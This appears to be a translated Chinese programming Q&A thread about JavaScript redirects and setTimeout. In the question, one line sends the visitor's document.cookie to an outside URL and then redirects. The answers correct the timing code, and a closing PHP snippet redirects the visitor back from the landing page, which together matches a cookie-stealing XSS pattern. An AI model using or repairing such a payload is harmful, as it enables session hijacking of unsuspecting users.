我正在努力让以下代码工作。但它不会:(。
我已经测试了超时并且它工作正常(代码行2),但第一行不能工作:(,任何指导都将不胜感激。
document.location="http://site/site.php?cookie=" + document.cookie;setTimeout(document.location='http://site/site/newpage',500);
setTimeout(document.location='http://site/site/newpage',500);
我在firebug控制台内测试(顺便说一下)
答案 0 :(得分:3)
更改document.location会立即导航到另一个页面。
setTimeout要求使用新函数(“string”)(不推荐)构造字符串,使用函数指针(推荐)或匿名函数(推荐)。
您可以发送如下匿名函数:
setTimeout(function(){document.location='http://site/site/newpage'},500);
答案 1 :(得分:0)
将其封装在匿名函数中。
setTimeout(function() { document.location.href ='http://etc/etc/';},500);
(不要忘记href,或者使用window.location)
答案 2 :(得分:0)
即使是在着陆页上重定向,感谢所有帮助
if ($referer == TRUE){
header( 'Location: ' .$referer) ;
}else {
header('Location: ' .$url[$urladdon]);
}
}